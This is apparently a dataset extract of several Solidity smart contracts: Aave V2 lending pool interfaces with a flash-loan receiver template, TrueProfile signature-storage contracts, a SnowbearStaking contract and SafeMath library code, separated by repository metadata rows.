event LendingPoolConfiguratorUpdated(address indexed newAddress);
event LendingPoolCollateralManagerUpdated(address indexed newAddress);
event PriceOracleUpdated(address indexed newAddress);
event LendingRateOracleUpdated(address indexed newAddress);
event ProxyCreated(bytes32 id, address indexed newAddress);
event AddressSet(bytes32 id, address indexed newAddress, bool hasProxy);
function getMarketId() external view returns (string memory);
function setMarketId(string calldata marketId) external;
function setAddress(bytes32 id, address newAddress) external;
function setAddressAsProxy(bytes32 id, address impl) external;
function getAddress(bytes32 id) external view returns (address);
function getLendingPool() external view returns (address);
function setLendingPoolImpl(address pool) external;
function getLendingPoolConfigurator() external view returns (address);
function setLendingPoolConfiguratorImpl(address configurator) external;
function getLendingPoolCollateralManager() external view returns (address);
function setLendingPoolCollateralManager(address manager) external;
function getPoolAdmin() external view returns (address);
function setPoolAdmin(address admin) external;
function getEmergencyAdmin() external view returns (address);
function setEmergencyAdmin(address admin) external;
function getPriceOracle() external view returns (address);
function setPriceOracle(address priceOracle) external;
function getLendingRateOracle() external view returns (address);
function setLendingRateOracle(address lendingRateOracle) external;
}
library DataTypes {
// refer to the whitepaper, section 1.1 basic concepts for a formal description of these properties.
struct ReserveData {
//stores the reserve configuration
ReserveConfigurationMap configuration;
//the liquidity index. Expressed in ray
uint128 liquidityIndex;
//variable borrow index. Expressed in ray
uint128 variableBorrowIndex;
//the current supply rate. Expressed in ray
uint128 currentLiquidityRate;
//the current variable borrow rate. Expressed in ray
uint128 currentVariableBorrowRate;
//the current stable borrow rate. Expressed in ray
uint128 currentStableBorrowRate;
uint40 lastUpdateTimestamp;
//tokens addresses
address aTokenAddress;
address stableDebtTokenAddress;
address variableDebtTokenAddress;
//address of the interest rate strategy
address interestRateStrategyAddress;
//the id of the reserve. Represents the position in the list of the active reserves
uint8 id;
}
struct ReserveConfigurationMap {
//bit 0-15: LTV
//bit 16-31: Liq. threshold
//bit 32-47: Liq. bonus
//bit 48-55: Decimals
//bit 56: Reserve is active
//bit 57: reserve is frozen
//bit 58: borrowing is enabled
//bit 59: stable rate borrowing enabled
//bit 60-63: reserved
//bit 64-79: reserve factor
uint256 data;
}
struct UserConfigurationMap {
uint256 data;
}
enum InterestRateMode {NONE, STABLE, VARIABLE}
}
interface ILendingPool {
event Deposit(address indexed reserve,
address user,
address indexed onBehalfOf,
uint256 amount,
uint16 indexed referral);
event Withdraw(address indexed reserve, address indexed user, address indexed to, uint256 amount);
event Borrow(address indexed reserve,
address user,
address indexed onBehalfOf,
uint256 amount,
uint256 borrowRateMode,
uint256 borrowRate,
uint16 indexed referral);
event Repay(address indexed reserve,
address indexed user,
address indexed repayer,
uint256 amount);
event Swap(address indexed reserve, address indexed user, uint256 rateMode);
event ReserveUsedAsCollateralEnabled(address indexed reserve, address indexed user);
event ReserveUsedAsCollateralDisabled(address indexed reserve, address indexed user);
event RebalanceStableBorrowRate(address indexed reserve, address indexed user);
event FlashLoan(address indexed target,
address indexed initiator,
address indexed asset,
uint256 amount,
uint256 premium,
uint16 referralCode);
event Paused();
event Unpaused();
event LiquidationCall(address indexed collateralAsset,
address indexed debtAsset,
address indexed user,
uint256 debtToCover,
uint256 liquidatedCollateralAmount,
address liquidator,
bool receiveAToken);
event ReserveDataUpdated(address indexed reserve,
uint256 liquidityRate,
uint256 stableBorrowRate,
uint256 variableBorrowRate,
uint256 liquidityIndex,
uint256 variableBorrowIndex);
function deposit(address asset,
uint256 amount,
address onBehalfOf,
uint16 referralCode) external;
function withdraw(address asset,
uint256 amount,
address to) external returns (uint256);
function borrow(address asset,
uint256 amount,
uint256 interestRateMode,
uint16 referralCode,
address onBehalfOf) external;
function repay(address asset,
uint256 amount,
uint256 rateMode,
address onBehalfOf) external returns (uint256);
function swapBorrowRateMode(address asset, uint256 rateMode) external;
function rebalanceStableBorrowRate(address asset, address user) external;
function setUserUseReserveAsCollateral(address asset, bool useAsCollateral) external;
function liquidationCall(address collateralAsset,
address debtAsset,
address user,
uint256 debtToCover,
bool receiveAToken) external;
function flashLoan(address receiverAddress,
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata modes,
address onBehalfOf,
bytes calldata params,
uint16 referralCode) external;
function getUserAccountData(address user)
external
view
returns (uint256 totalCollateralETH,
uint256 totalDebtETH,
uint256 availableBorrowsETH,
uint256 currentLiquidationThreshold,
uint256 ltv,
uint256 healthFactor);
function initReserve(address reserve,
address aTokenAddress,
address stableDebtAddress,
address variableDebtAddress,
address interestRateStrategyAddress) external;
function setReserveInterestRateStrategyAddress(address reserve, address rateStrategyAddress)
external;
function setConfiguration(address reserve, uint256 configuration) external;
function getConfiguration(address asset)
external
view
returns (DataTypes.ReserveConfigurationMap memory);
function getUserConfiguration(address user)
external
view
returns (DataTypes.UserConfigurationMap memory);
function getReserveNormalizedIncome(address asset) external view returns (uint256);
function getReserveNormalizedVariableDebt(address asset) external view returns (uint256);
function getReserveData(address asset) external view returns (DataTypes.ReserveData memory);
function finalizeTransfer(address asset,
address from,
address to,
uint256 amount,
uint256 balanceFromAfter,
uint256 balanceToBefore) external;
function getReservesList() external view returns (address[] memory);
function getAddressesProvider() external view returns (ILendingPoolAddressesProvider);
function setPause(bool val) external;
function paused() external view returns (bool);
}
interface IFlashLoanReceiver {
function executeOperation(address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params) external returns (bool);
function ADDRESSES_PROVIDER() external view returns (ILendingPoolAddressesProvider);
function LENDING_POOL() external view returns (ILendingPool);
}
contract MyV2FlashLoan is IFlashLoanReceiver {
using SafeERC20 for IERC20;
using SafeMath for uint256;
ILendingPoolAddressesProvider public immutable override ADDRESSES_PROVIDER;
ILendingPool public immutable override LENDING_POOL;
constructor(ILendingPoolAddressesProvider provider) public {
ADDRESSES_PROVIDER = provider;
LENDING_POOL = ILendingPool(provider.getLendingPool());
}
function executeOperation(address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params)
external
override
returns (bool)
{
//
// This contract now has the funds requested.
// Your logic goes here.
//
// At the end of your logic above, this contract owes
// the flashloaned amounts + premiums.
// Therefore ensure your contract has enough to repay
// these amounts.
// Approve the LendingPool contract allowance to *pull* the owed amount
for (uint i = 0; i < assets.length; i++) {
uint amountOwing = amounts[i].add(premiums[i]);
IERC20(assets[i]).approve(address(LENDING_POOL), amountOwing);
}
return true;
}
function myFlashLoanCall() public {
address receiverAddress = address(this);
address[] memory assets = new address[](2);
assets[0] = address(0x9C1DCacB57ADa1E9e2D3a8280B7cfC7EB936186F);
uint256[] memory amounts = new uint256[](2);
amounts[0] = 61;
// 0 = no debt, 1 = stable, 2 = variable
uint256[] memory modes = new uint256[](2);
modes[0] = 1;
address onBehalfOf = address(this);
bytes memory params = "";
uint16 referralCode = 0;
LENDING_POOL.flashLoan(receiverAddress,
assets,
amounts,
modes,
onBehalfOf,
params,
referralCode);
}
}
| 108,882 | 13,187 |
f587815f7800a5cf5fdfbb143e88fa30db3f3654bb411a5abc94c65fadce93af
| 13,292 |
.sol
|
Solidity
| false |
519123139
|
JolyonJian/contracts
|
b48d691ba0c2bfb014a03e2b15bf7faa40900020
|
contracts/1094_85738_0xd0466448fb6bf17beaf9325974b7f71c6937609b.sol
| 3,092 | 11,695 |
pragma solidity 0.4.26;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function abs128(int128 a) internal pure returns (int128) {
return a < 0 ? a * -1 : a;
}
}
contract Accessible {
address public owner;
mapping(address => bool) public accessAllowed;
constructor() public {
owner = msg.sender;
}
modifier ownership() {
require(owner == msg.sender, "Accessible: Only the owner of contract can call this method");
_;
}
modifier accessible() {
require(accessAllowed[msg.sender], "Accessible: This address has no allowence to access this method");
_;
}
function allowAccess(address _address) public ownership {
if (_address != address(0)) {
accessAllowed[_address] = true;
}
}
function denyAccess(address _address) public ownership {
if (_address != address(0)) {
accessAllowed[_address] = false;
}
}
function transferOwnership(address _address) public ownership {
if (_address != address(0)) {
owner = _address;
}
}
}
contract Repaying is Accessible {
using SafeMath for uint256;
uint256 private guardCounter;
bool stopRepaying = false;
// the max gas price is set to 65 gwei this is the same as local server max fee setting
uint256 maxGasPrice = 65000000000;
// gas consomption of the repayable function
uint256 additionalGasConsumption = 42492;
constructor () internal {
// the counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
guardCounter = 1;
}
modifier repayable {
guardCounter += 1;
uint256 localCounter = guardCounter;
// repayable logic with kill swtich
if(!stopRepaying) {
uint256 startGas = gasleft();
_;
uint256 gasUsed = startGas.sub(gasleft());
// use maxGasPrice as upper bound for the gas price
uint256 gasPrice = maxGasPrice.min256(tx.gasprice);
uint256 repayal = gasPrice.mul(gasUsed.add(additionalGasConsumption));
msg.sender.transfer(repayal);
}
else {
_;
}
// if the counters don't match a reentrance is happening, stop the execution
require(localCounter == guardCounter, "Repaying: reentrant call detected");
}
function() external payable {
require(msg.data.length == 0, "Repaying: You can only transfer Ether to this contract *without* any data");
}
function withdraw(address _address) public ownership {
require(_address != address(0) && (accessAllowed[_address] || _address == owner),
"Repaying: Address is not allowed to withdraw the balance");
_address.transfer(address(this).balance);
}
function setMaxGasPrice(uint256 _maxGasPrice) public ownership {
// define absolute max. with 125 gwei
maxGasPrice = _maxGasPrice.min256(125000000000);
}
function getMaxGasPrice() external view returns (uint256) {
return maxGasPrice;
}
function setAdditionalGasConsumption(uint256 _additionalGasConsumption) public ownership {
// define absolute max. with 65.000 gas limit
additionalGasConsumption = _additionalGasConsumption.min256(65000);
}
function getAdditionalGasConsumption() external view returns (uint256) {
return additionalGasConsumption;
}
function setStopRepaying(bool _stopRepaying) public ownership {
stopRepaying = _stopRepaying;
}
}
contract TrueProfileStorage is Accessible {
struct Signature {
uint8 v;
bytes32 r;
bytes32 s;
uint8 revocationReasonId;
bool isValue;
}
mapping(bytes32 => Signature) public signatureStorage;
mapping(bytes32 => uint256) public uIntStorage;
mapping(bytes32 => string) public stringStorage;
mapping(bytes32 => address) public addressStorage;
mapping(bytes32 => bytes) public bytesStorage;
mapping(bytes32 => bool) public boolStorage;
mapping(bytes32 => int256) public intStorage;
function getSignature(bytes32 _key) external view returns (uint8 v, bytes32 r, bytes32 s, uint8 revocationReasonId) {
Signature memory tempSignature = signatureStorage[_key];
if (tempSignature.isValue) {
return(tempSignature.v, tempSignature.r, tempSignature.s, tempSignature.revocationReasonId);
} else {
return(0, bytes32(0), bytes32(0), 0);
}
}
function setSignature(bytes32 _key, uint8 _v, bytes32 _r, bytes32 _s, uint8 _revocationReasonId) external accessible {
require(ecrecover(_key, _v, _r, _s) != 0x0, "TrueProfileStorage: Signature does not resolve to valid address");
Signature memory tempSignature = Signature({
v: _v,
r: _r,
s: _s,
revocationReasonId: _revocationReasonId,
isValue: true
});
signatureStorage[_key] = tempSignature;
}
function deleteSignature(bytes32 _key) external accessible {
require(signatureStorage[_key].isValue, "TrueProfileStorage: Signature to delete was not found");
Signature memory tempSignature = Signature({
v: 0,
r: bytes32(0),
s: bytes32(0),
revocationReasonId: 0,
isValue: false
});
signatureStorage[_key] = tempSignature;
}
function getAddress(bytes32 _key) external view returns (address) {
return addressStorage[_key];
}
function getUint(bytes32 _key) external view returns (uint) {
return uIntStorage[_key];
}
function getString(bytes32 _key) external view returns (string) {
return stringStorage[_key];
}
function getBytes(bytes32 _key) external view returns (bytes) {
return bytesStorage[_key];
}
function getBool(bytes32 _key) external view returns (bool) {
return boolStorage[_key];
}
function getInt(bytes32 _key) external view returns (int) {
return intStorage[_key];
}
function setAddress(bytes32 _key, address _value) external accessible {
addressStorage[_key] = _value;
}
function setUint(bytes32 _key, uint _value) external accessible {
uIntStorage[_key] = _value;
}
function setString(bytes32 _key, string _value) external accessible {
stringStorage[_key] = _value;
}
function setBytes(bytes32 _key, bytes _value) external accessible {
bytesStorage[_key] = _value;
}
function setBool(bytes32 _key, bool _value) external accessible {
boolStorage[_key] = _value;
}
function setInt(bytes32 _key, int _value) external accessible {
intStorage[_key] = _value;
}
function deleteAddress(bytes32 _key) external accessible {
delete addressStorage[_key];
}
function deleteUint(bytes32 _key) external accessible {
delete uIntStorage[_key];
}
function deleteString(bytes32 _key) external accessible {
delete stringStorage[_key];
}
function deleteBytes(bytes32 _key) external accessible {
delete bytesStorage[_key];
}
function deleteBool(bytes32 _key) external accessible {
delete boolStorage[_key];
}
function deleteInt(bytes32 _key) external accessible {
delete intStorage[_key];
}
}
contract TrueProfileLogic is Repaying {
TrueProfileStorage trueProfileStorage;
constructor(address _trueProfileStorage) public {
trueProfileStorage = TrueProfileStorage(_trueProfileStorage);
}
// add or update TrueProof
// if not present add to array
// if present the old TrueProof can be replaced with a new TrueProof
function addTrueProof(bytes32 _key, uint8 _v, bytes32 _r, bytes32 _s) external repayable accessible {
require(accessAllowed[ecrecover(_key, _v, _r, _s)], "TrueProfileLogic: Signature creator has no access to this contract");
// the certifcate is valid, so set the revokationReasonId to 0
uint8 revokationReasonId = 0;
trueProfileStorage.setSignature(_key, _v, _r, _s, revokationReasonId);
}
// if the TrueProof was issued by error it can be revoked
// for revocation a reason id needs to be given
function revokeTrueProof(bytes32 _key, uint8 _revocationReasonId) external repayable accessible {
require(_revocationReasonId != 0, "TrueProfileLogic: Revocation reason needs to be unequal to 0");
uint8 v;
bytes32 r;
bytes32 s;
uint8 oldRevocationReasonId;
(v, r, s, oldRevocationReasonId) = trueProfileStorage.getSignature(_key);
require(v != 0, "TrueProfileLogic: This TrueProof was already revoked");
// set the revokation reason id to the new value
trueProfileStorage.setSignature(_key, v, r, s, _revocationReasonId);
}
function isValidTrueProof(bytes32 _key) external view returns (bool) {
// needs to be not revoked AND needs to have a valid signature
return this.isValidSignatureTrueProof(_key) && this.isNotRevokedTrueProof(_key);
}
function isValidSignatureTrueProof(bytes32 _key) external view returns (bool) {
uint8 v;
bytes32 r;
bytes32 s;
uint8 revocationReasonId;
(v, r, s, revocationReasonId) = trueProfileStorage.getSignature(_key);
// needs to have a valid signature
return accessAllowed[ecrecover(_key, v, r, s)];
}
function isNotRevokedTrueProof(bytes32 _key) external view returns (bool) {
uint8 v;
bytes32 r;
bytes32 s;
uint8 revocationReasonId;
(v, r, s, revocationReasonId) = trueProfileStorage.getSignature(_key);
// needs to be not revoked
return revocationReasonId == 0;
}
function getSignature(bytes32 _key) external view returns (uint8 v, bytes32 r, bytes32 s, uint8 revocationReasonId) {
return trueProfileStorage.getSignature(_key);
}
function getRevocationReasonId(bytes32 _key) external view returns (uint8) {
uint8 v;
bytes32 r;
bytes32 s;
uint8 revocationReasonId;
(v, r, s, revocationReasonId) = trueProfileStorage.getSignature(_key);
return revocationReasonId;
}
}
| 229,927 | 13,188 |
161e763d787c0534f47ccd900e3cb3861f85867f029e567a5b52eb350b946680
| 27,375 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/2a/2a55501a0b995ee86a84836ece01118cf6cf6f88_SnowbearStaking.sol
| 4,199 | 16,944 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IMemo {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract SnowbearStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Time;
address public immutable Memories;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _Time,
address _Memories,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Time != address(0));
Time = _Time;
require(_Memories != address(0));
Memories = _Memories;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Time).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IMemo(Memories).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(Memories).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IMemo(Memories).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IMemo(Memories).balanceForGons(info.gons));
IERC20(Time).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(Memories).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Time).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IMemo(Memories).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
IMemo(Memories).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IMemo(Memories).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Time).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(Memories).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(Memories).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 105,933 | 13,189 |
7138b56bc884fc3b12d34e3e16203aa96e84984b19b10f03bb6c23f198e13163
| 20,432 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/6d/6d3eb83fa1a6f165cd663325ff8a31840ea091bc_SafeDefyOwner.sol
| 3,265 | 12,066 |
// SPDX-License-Identifier: MIT
//Website : https://defyswap.finance/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
